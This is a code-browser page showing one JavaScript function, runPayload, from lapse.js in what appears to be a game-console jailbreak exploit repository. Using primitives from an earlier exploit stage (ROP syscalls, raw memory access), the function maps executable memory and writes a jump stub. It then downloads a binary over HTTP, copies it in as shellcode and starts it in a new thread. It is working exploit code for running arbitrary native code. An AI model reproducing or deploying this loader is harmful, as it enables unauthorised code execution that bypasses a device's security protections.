MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / runPayload

Function runPayload

g2all/900/lapse.js:1801–1829  ·  view source on GitHub ↗
(PLfile)

Source from the content-addressed store, hash-verified

1799 return og_array;
1800}
1801
1802function runPayload(PLfile) {
1803 var loader_addr = chain.sysp('mmap', 0, 0x1000, 7, 0x41000, -1, 0);
1804 var tmpStubArray = array_from_address(loader_addr, 1);
1805 tmpStubArray[0] = 0x00C3E7FF;
1806
1807 var req = new XMLHttpRequest();
1808 req.responseType = "arraybuffer";
1809 req.open('GET', PLfile);
1810 req.send();
1811
1812 req.onreadystatechange = function () {
1813 if (req.readyState == 4) {
1814 if (req.status === 200 && req.response) {
1815 var PLD = req.response;
1816 var payload_buffer = chain.sysp('mmap', 0, PLD.byteLength * 4, 7, 0x1002, -1, 0);
1817 var pl = array_from_address(payload_buffer, PLD.byteLength * 4);
1818 var padding = new Uint8Array(4 - (req.response.byteLength % 4) % 4);
1819 var tmp = new Uint8Array(req.response.byteLength + padding.byteLength);
1820 tmp.set(new Uint8Array(req.response), 0);
1821 tmp.set(padding, req.response.byteLength);
1822 var shellcode = new Uint32Array(tmp.buffer);
1823 pl.set(shellcode, 0);
1824 var pthread = malloc(0x10);
1825
1826 call_nze('pthread_create', pthread, 0, loader_addr, payload_buffer);
1827 }
1828 }
1829 };
1830}
1831
1832function hostFail() {

Callers 1

lapse.jsFile · 0.70

Calls 5

array_from_addressFunction · 0.70
mallocFunction · 0.70
call_nzeFunction · 0.70
syspMethod · 0.45
setMethod · 0.45

Tested by

no test coverage detected